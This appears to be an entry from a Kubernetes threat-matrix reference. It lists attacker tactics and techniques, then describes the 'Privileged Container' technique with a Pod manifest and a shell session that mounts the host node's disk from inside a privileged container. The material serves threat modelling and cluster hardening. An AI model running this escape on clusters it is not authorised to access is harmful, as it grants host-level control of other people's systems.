Initial access Execution Persistence Privilege escalation Defense evasion Credential access Discovery Lateral movement Collection Impact
Using Cloud Exec into Container Backdoor Container Privileged Container Clear Container Logs List K8s secrets Access the K8s API server Access cloud resources Images from a private repository Data Destruction
Compromised images in registry bash/cmd in container Writable hostPath mount Cluster-admin binding Delete k8s events Mount service principal Access Kubelet API Container service account Ressource hijacking
Kubeconfig file New container Kubernetes CronJob hostPath mount Pod / container name similarity Access container service account Network mapping Cluster internal networking Denial of Service
Application vulnerability Application exploit (RCE) Malicious admission controller Access cloud resources Connect from proxy server Applications credentials in configuration files Access Kubernetes dashboard Applications credentials in configuration files
Exposed sensitive interfaces SSH server running in inside container Disable Namespacing Access managed identity credentials Instance metadata API Writable volume mounts on the host
Sidecar injection Malicious admission controller CoreDNS poisoning
ARP poisoning and IP spoofing

Privileged Container

A privileged container is a container that has all the capabilities of the host machine, which lifts all the limitations regular containers have. Practically, this means that privileged containers can do almost every action that can be performed directly on the host. Attackers who gain access to a privileged container, or have permissions to create a new privileged container (by using the compromised pod’s service account, for example), can get access to the host’s resources.

Example

Create a Pod with two containers:

apiVersion: v1
kind: Pod
metadata:
  name: privileged
spec:
  containers:
  - image: ubuntu
    name: ubuntu
    command: [ "/bin/sh", "-c", "sleep 9999" ]
  - image: ubuntu
    name: ubuntu-privileged
    command: [ "/bin/sh", "-c", "sleep 9999" ]
    securityContext:
        privileged: true

We can see that ubuntu only has access to very few devices (/dev) compared to ubuntu-privileged which has got access to all devices available to the host.

$ kubectl exec -it privileged -c ubuntu -- ls -lah /dev | wc -l        
19

$ kubectl exec -it privileged -c ubuntu-privileged -- ls -lah /dev | wc -l
144

This also means that ubuntu-privileged can simply mount the file system of the underlying host system (cluster node).

$ kubectl exec -it privileged -c ubuntu-privileged -- bash
root@privileged:/# mkdir /host && mount /dev/vda1 /host
root@privileged:/# ls -lah /host
total 1.1G
drwxr-xr-x 11 root root 4.0K Jun  9 08:44 .
drwxr-xr-x  1 root root 4.0K Oct 26 11:49 ..
drwxr-xr-x  3 root root 4.0K Jun  9 08:44 cni
drwx--x--x 10 root root 4.0K Jun  9 08:44 containerd
drwx--x--x  3 root root 4.0K Jun  9 08:44 desktop-containerd
drwx--x--- 13 root root 4.0K Oct 25 21:18 docker
drwxr-xr-x  2 root root 4.0K Jun  9 08:44 kubeadm
drwxr-xr-x  2 root root 4.0K Jun  9 08:44 kubelet-plugins
drwx------  2 root root  16K Jun  9 08:43 lost+found
-rw-r--r--  1 root root   37 Jun  9 08:44 machine-id
drwxr-xr-x  3 root root 4.0K Oct 20 18:19 mount-services-cache
drwxr-xr-x  4 root root 4.0K Jun  9 08:44 nfs
-rw-------  1 root root 1.0G Jun  9 08:43 swap